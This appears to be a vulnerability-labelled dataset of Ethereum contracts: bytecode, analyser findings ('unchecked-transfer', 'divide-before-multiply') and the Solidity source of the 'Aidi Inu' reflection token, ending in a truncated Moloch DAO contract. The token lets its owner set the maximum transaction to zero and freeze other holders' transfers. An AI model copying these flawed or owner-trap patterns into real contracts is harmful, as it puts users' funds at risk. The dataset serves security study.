ffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836113f5565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506112b76000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836113f5565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506113416000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361140e565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b600082821115151561140357fe5b818303905092915050565b600080828401905083811015151561142257fe5b8091505092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561146957600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156114b85760009050611678565b6000821180156114f457508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b1561160e576115416000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836113f5565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506115cb6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361140e565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b929150505600a165627a7a72305820863d57d343ad84b1372188c9540da2183b37bc2c0c1173d0c346c9364d3b2f9c0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
| 6,371 |
0x773b761884de2446fc7a83c4f2ad4d952b70158a
|
/**
*Submitted for verification at Etherscan.io on 2021-05-24
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract AidiInu is Context, IERC20, IERC20Metadata, Ownable {
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000000 * 10**6 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = 'Aidi Inu';
string private _symbol = 'AIDI';
uint8 private _decimals = 9;
uint256 public _maxTxAmount = 100000000 * 10**6 * 10**9;
constructor () {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view override returns (string memory) {
return _name;
}
function symbol() public view override returns (string memory) {
return _symbol;
}
function decimals() public view override returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
require(amount <= _allowances[sender][_msgSender()], "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), _allowances[sender][_msgSender()]- amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
require(subtractedValue <= _allowances[_msgSender()][spender], "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] - subtractedValue);
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
_maxTxAmount = ((_tTotal * maxTxPercent) / 10**2);
}
function reflect(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender] - rAmount;
_rTotal = _rTotal - rAmount;
_tFeeTotal = _tFeeTotal + tAmount;
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return (rAmount / currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(sender != owner() && recipient != owner())
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender] - rAmount;
_rOwned[recipient] = _rOwned[recipient] + rTransferAmount;
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender] - rAmount;
_tOwned[recipient] = _tOwned[recipient] + tTransferAmount;
_rOwned[recipient] = _rOwned[recipient] + rTransferAmount;
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender] - tAmount;
_rOwned[sender] = _rOwned[sender] - rAmount;
_rOwned[recipient] = _rOwned[recipient] + rTransferAmount;
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender] - tAmount;
_rOwned[sender] = _rOwned[sender] - rAmount;
_tOwned[recipient] = _tOwned[recipient] + tTransferAmount;
_rOwned[recipient] = _rOwned[recipient] + rTransferAmount;
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal - rFee;
_tFeeTotal = _tFeeTotal + tFee;
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);
}
function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) {
uint256 tFee = ((tAmount / 100) * 2);
uint256 tTransferAmount = tAmount - tFee;
return (tTransferAmount, tFee);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount * currentRate;
uint256 rFee = tFee * currentRate;
uint256 rTransferAmount = rAmount - rFee;
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return (rSupply / tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply - _rOwned[_excluded[i]];
tSupply = tSupply - _tOwned[_excluded[i]];
}
if (rSupply < (_rTotal / _tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x608060405234801561001057600080fd5b506004361061014d5760003560e01c8063715018a6116100c3578063cba0e9961161007c578063cba0e99614610289578063d543dbeb1461029c578063dd62ed3e146102af578063f2cc0c18146102c2578063f2fde38b146102d5578063f84354f1146102e85761014d565b8063715018a6146102365780637d1db4a51461023e5780638da5cb5b1461024657806395d89b411461025b578063a457c2d714610263578063a9059cbb146102765761014d565b806323b872dd1161011557806323b872dd146101c25780632d838119146101d5578063313ce567146101e857806339509351146101fd5780634549b0391461021057806370a08231146102235761014d565b8063053ab1821461015257806306fdde0314610167578063095ea7b31461018557806313114a9d146101a557806318160ddd146101ba575b600080fd5b6101656101603660046115ae565b6102fb565b005b61016f6103c0565b60405161017c9190611618565b60405180910390f35b610198610193366004611585565b610452565b60405161017c919061160d565b6101ad610470565b60405161017c9190611a16565b6101ad610476565b6101986101d036600461154a565b610485565b6101ad6101e33660046115ae565b61055b565b6101f061059e565b60405161017c9190611a1f565b61019861020b366004611585565b6105a7565b6101ad61021e3660046115c6565b6105f6565b6101ad6102313660046114f7565b61065a565b6101656106bc565b6101ad610745565b61024e61074b565b60405161017c91906115f9565b61016f61075a565b610198610271366004611585565b610769565b610198610284366004611585565b61080d565b6101986102973660046114f7565b610821565b6101656102aa3660046115ae565b61083f565b6101ad6102bd366004611518565b6108a5565b6101656102d03660046114f7565b6108d0565b6101656102e33660046114f7565b610a08565b6101656102f63660046114f7565b610ac8565b6000610305610c9d565b6001600160a01b03811660009081526004602052604090205490915060ff161561034a5760405162461bcd60e51b815260040161034190611985565b60405180910390fd5b600061035583610ca1565b5050506001600160a01b03841660009081526001602052604090205491925061038091839150611a84565b6001600160a01b0383166000908152600160205260409020556006546103a7908290611a84565b6006556007546103b8908490611a2d565b600755505050565b6060600880546103cf90611a9b565b80601f01602080910402602001604051908101604052809291908181526020018280546103fb90611a9b565b80156104485780601f1061041d57610100808354040283529160200191610448565b820191906000526020600020905b81548152906001019060200180831161042b57829003601f168201915b5050505050905090565b600061046661045f610c9d565b8484610ced565b5060015b92915050565b60075490565b6a52b7d2dcc80cd2e400000090565b6000610492848484610da1565b6001600160a01b0384166000908152600360205260408120906104b3610c9d565b6001600160a01b03166001600160a01b03168152602001908152602001600020548211156104f35760405162461bcd60e51b815260040161034190611836565b610551846104ff610c9d565b6001600160a01b03871660009081526003602052604081208691610521610c9d565b6001600160a01b03166001600160a01b031681526020019081526020016000205461054c9190611a84565b610ced565b5060019392505050565b600060065482111561057f5760405162461bcd60e51b8152600401610341906116ae565b6000610589610fcf565b90506105958184611a45565b9150505b919050565b600a5460ff1690565b60006104666105b4610c9d565b8484600360006105c2610c9d565b6001600160a01b03908116825260208083019390935260409182016000908120918b168152925290205461054c9190611a2d565b60006a52b7d2dcc80cd2e40000008311156106235760405162461bcd60e51b8152600401610341906117b7565b8161064157600061063384610ca1565b5092945061046a9350505050565b600061064c84610ca1565b5091945061046a9350505050565b6001600160a01b03811660009081526004602052604081205460ff161561069a57506001600160a01b038116600090815260026020526040902054610599565b6001600160a01b03821660009081526001602052604090205461046a9061055b565b6106c4610c9d565b6001600160a01b03166106d561074b565b6001600160a01b0316146106fb5760405162461bcd60e51b81526004016103419061187e565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600b5481565b6000546001600160a01b031690565b6060600980546103cf90611a9b565b600060036000610777610c9d565b6001600160a01b03908116825260208083019390935260409182016000908120918716815292529020548211156107c05760405162461bcd60e51b8152600401610341906119d1565b6104666107cb610c9d565b8484600360006107d9610c9d565b6001600160a01b03908116825260208083019390935260409182016000908120918b168152925290205461054c9190611a84565b600061046661081a610c9d565b8484610da1565b6001600160a01b031660009081526004602052604090205460ff1690565b610847610c9d565b6001600160a01b031661085861074b565b6001600160a01b03161461087e5760405162461bcd60e51b81526004016103419061187e565b6064610895826a52b7d2dcc80cd2e4000000611a65565b61089f9190611a45565b600b5550565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b6108d8610c9d565b6001600160a01b03166108e961074b565b6001600160a01b03161461090f5760405162461bcd60e51b81526004016103419061187e565b6001600160a01b03811660009081526004602052604090205460ff16156109485760405162461bcd60e51b815260040161034190611780565b6001600160a01b038116600090815260016020526040902054156109a2576001600160a01b0381166000908152600160205260409020546109889061055b565b6001600160a01b0382166000908152600260205260409020555b6001600160a01b03166000818152600460205260408120805460ff191660019081179091556005805491820181559091527f036b6384b5eca791c62761152d0c79bb0604c104a5fb6f4eb0703f3154bb3db00180546001600160a01b0319169091179055565b610a10610c9d565b6001600160a01b0316610a2161074b565b6001600160a01b031614610a475760405162461bcd60e51b81526004016103419061187e565b6001600160a01b038116610a6d5760405162461bcd60e51b8152600401610341906116f8565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b610ad0610c9d565b6001600160a01b0316610ae161074b565b6001600160a01b031614610b075760405162461bcd60e51b81526004016103419061187e565b6001600160a01b03811660009081526004602052604090205460ff16610b3f5760405162461bcd60e51b815260040161034190611780565b60005b600554811015610c9957816001600160a01b031660058281548110610b7757634e487b7160e01b600052603260045260246000fd5b6000918252602090912001546001600160a01b03161415610c875760058054610ba290600190611a84565b81548110610bc057634e487b7160e01b600052603260045260246000fd5b600091825260209091200154600580546001600160a01b039092169183908110610bfa57634e487b7160e01b600052603260045260246000fd5b600091825260208083209190910180546001600160a01b0319166001600160a01b039485161790559184168152600282526040808220829055600490925220805460ff191690556005805480610c6057634e487b7160e01b600052603160045260246000fd5b600082815260209020810160001990810180546001600160a01b0319169055019055610c99565b80610c9181611ad6565b915050610b42565b5050565b3390565b6000806000806000806000610cb588610ff2565b915091506000610cc3610fcf565b90506000806000610cd58c8686611025565b919e909d50909b509599509397509395505050505050565b6001600160a01b038316610d135760405162461bcd60e51b815260040161034190611941565b6001600160a01b038216610d395760405162461bcd60e51b81526004016103419061173e565b6001600160a01b0380841660008181526003602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590610d94908590611a16565b60405180910390a3505050565b6001600160a01b038316610dc75760405162461bcd60e51b8152600401610341906118fc565b6001600160a01b038216610ded5760405162461bcd60e51b81526004016103419061166b565b60008111610e0d5760405162461bcd60e51b8152600401610341906118b3565b610e1561074b565b6001600160a01b0316836001600160a01b031614158015610e4f5750610e3961074b565b6001600160a01b0316826001600160a01b031614155b15610e7657600b54811115610e765760405162461bcd60e51b8152600401610341906117ee565b6001600160a01b03831660009081526004602052604090205460ff168015610eb757506001600160a01b03821660009081526004602052604090205460ff16155b15610ecc57610ec7838383611061565b610fca565b6001600160a01b03831660009081526004602052604090205460ff16158015610f0d57506001600160a01b03821660009081526004602052604090205460ff165b15610f1d57610ec783838361117b565b6001600160a01b03831660009081526004602052604090205460ff16158015610f5f57506001600160a01b03821660009081526004602052604090205460ff16155b15610f6f57610ec7838383611224565b6001600160a01b03831660009081526004602052604090205460ff168015610faf57506001600160a01b03821660009081526004602052604090205460ff165b15610fbf57610ec7838383611266565b610fca838383611224565b505050565b6000806000610fdc6112d8565b9092509050610feb8183611a45565b9250505090565b60008080611001606485611a45565b61100c906002611a65565b9050600061101a8286611a84565b935090915050915091565b60008080806110348588611a65565b905060006110428688611a65565b905060006110508284611a84565b929992985090965090945050505050565b600080600080600061107286610ca1565b6001600160a01b038d16600090815260026020526040902054949950929750909550935091506110a3908790611a84565b6001600160a01b0389166000908152600260209081526040808320939093556001905220546110d3908690611a84565b6001600160a01b03808a166000908152600160205260408082209390935590891681522054611103908590611a2d565b6001600160a01b03881660009081526001602052604090205561112683826114ba565b866001600160a01b0316886001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516111699190611a16565b60405180910390a35050505050505050565b600080600080600061118c86610ca1565b6001600160a01b038d16600090815260016020526040902054949950929750909550935091506111bd908690611a84565b6001600160a01b03808a16600090815260016020908152604080832094909455918a168152600290915220546111f4908390611a2d565b6001600160a01b038816600090815260026020908152604080832093909355600190522054611103908590611a2d565b600080600080600061123586610ca1565b6001600160a01b038d16600090815260016020526040902054949950929750909550935091506110d3908690611a84565b600080600080600061127786610ca1565b6001600160a01b038d16600090815260026020526040902054949950929750909550935091506112a8908790611a84565b6001600160a01b0389166000908152600260209081526040808320939093556001905220546111bd908690611a84565b60065460009081906a52b7d2dcc80cd2e4000000825b6005548110156114755782600160006005848154811061131e57634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101546001600160a01b031683528201929092526040019020541180611397575081600260006005848154811061137057634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101546001600160a01b03168352820192909252604001902054115b156113b7576006546a52b7d2dcc80cd2e4000000945094505050506114b6565b60016000600583815481106113dc57634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101546001600160a01b0316835282019290925260400190205461140b9084611a84565b9250600260006005838154811061143257634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101546001600160a01b031683528201929092526040019020546114619083611a84565b91508061146d81611ad6565b9150506112ee565b506a52b7d2dcc80cd2e400000060065461148f9190611a45565b8210156114b0576006546a52b7d2dcc80cd2e40000009350935050506114b6565b90925090505b9091565b816006546114c89190611a84565b6006556007546114d9908290611a2d565b6007555050565b80356001600160a01b038116811461059957600080fd5b600060208284031215611508578081fd5b611511826114e0565b9392505050565b6000806040838503121561152a578081fd5b611533836114e0565b9150611541602084016114e0565b90509250929050565b60008060006060848603121561155e578081fd5b611567846114e0565b9250611575602085016114e0565b9150604084013590509250925092565b60008060408385031215611597578182fd5b6115a0836114e0565b946020939093013593505050565b6000602082840312156115bf578081fd5b5035919050565b600080604083850312156115d8578182fd5b82359150602083013580151581146115ee578182fd5b809150509250929050565b6001600160a01b0391909116815260200190565b901515815260200190565b6000602080835283518082850152825b8181101561164457858101830151858201604001528201611628565b818111156116555783604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b6020808252602a908201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260408201526965666c656374696f6e7360b01b606082015260800190565b60208082526026908201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160408201526564647265737360d01b606082015260800190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b6020808252601b908201527f4163636f756e7420697320616c7265616479206578636c756465640000000000604082015260600190565b6020808252601f908201527f416d6f756e74206d757374206265206c657373207468616e20737570706c7900604082015260600190565b60208082526028908201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546040820152673c20b6b7bab73a1760c11b606082015260800190565b60208082526028908201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616040820152676c6c6f77616e636560c01b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526029908201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206040820152687468616e207a65726f60b81b606082015260800190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b6020808252602c908201527f4578636c75646564206164647265737365732063616e6e6f742063616c6c207460408201526b3434b990333ab731ba34b7b760a11b606082015260800190565b60208082526025908201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604082015264207a65726f60d81b606082015260800190565b90815260200190565b60ff91909116815260200190565b60008219821115611a4057611a40611af1565b500190565b600082611a6057634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611a7f57611a7f611af1565b500290565b600082821015611a9657611a96611af1565b500390565b600281046001821680611aaf57607f821691505b60208210811415611ad057634e487b7160e01b600052602260045260246000fd5b50919050565b6000600019821415611aea57611aea611af1565b5060010190565b634e487b7160e01b600052601160045260246000fdfea26469706673582212208f1ceeab7b7c842f45251448156a1243fd096c017470e45512dbc49b33febdc864736f6c63430008000033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 6,372 |
0xE622e6C7376F3b96bF00a88DEF01cc6c2c83F6D5
|
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity 0.7.5;
pragma abicoder v2;
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
interface IERC20 { // brief interface for moloch erc20 token txs
function balanceOf(address who) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function approve(address spender, uint256 amount) external returns (bool);
}
interface IERC721Receiver {
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
)
external
returns(bytes4);
}
interface IERC1155Receiver {
function onERC1155Received(
address operator,
address from,
uint256 id,
uint256 value,
bytes calldata data
)
external
returns(bytes4);
function onERC1155BatchReceived(
address operator,
address from,
uint256[] calldata ids,
uint256[] calldata values,
bytes calldata data
)
external
returns(bytes4);
}
interface IMOLOCH { // brief interface for moloch dao v2
function depositToken() external view returns (address);
function totalShares() external view returns (uint256);
function tokenWhitelist(address token) external view returns (bool);
function getProposalFlags(uint256 proposalId) external view returns (bool[6] memory);
function getUserTokenBalance(address user, address token) external view returns (uint256);
function members(address user) external view returns (address, uint256, uint256, bool, uint256, uint256);
function memberAddressByDelegateKey(address user) external view returns (address);
function userTokenBalances(address user, address token) external view returns (uint256);
function cancelProposal(uint256 proposalId) external;
function submitProposal(
address applicant,
uint256 sharesRequested,
uint256 lootRequested,
uint256 tributeOffered,
address tributeToken,
uint256 paymentRequested,
address paymentToken,
string calldata details
) external returns (uint256);
struct Proposal {
address applicant; // the applicant who wishes to become a member - this key will be used for withdrawals (doubles as guild kick target for gkick proposals)
address proposer; // the account that submitted the proposal (can be non-member)
address sponsor; // the member that sponsored the proposal (moving it into the queue)
uint256 sharesRequested; // the # of shares the applicant is requesting
uint256 lootRequested; // the amount of loot the applicant is requesting
uint256 tributeOffered; // amount of tokens offered as tribute
address tributeToken; // tribute token contract reference
uint256 paymentRequested; // amount of tokens requested as payment
address paymentToken; // payment token contract reference
uint256 startingPeriod; // the period in which voting can start for this proposal
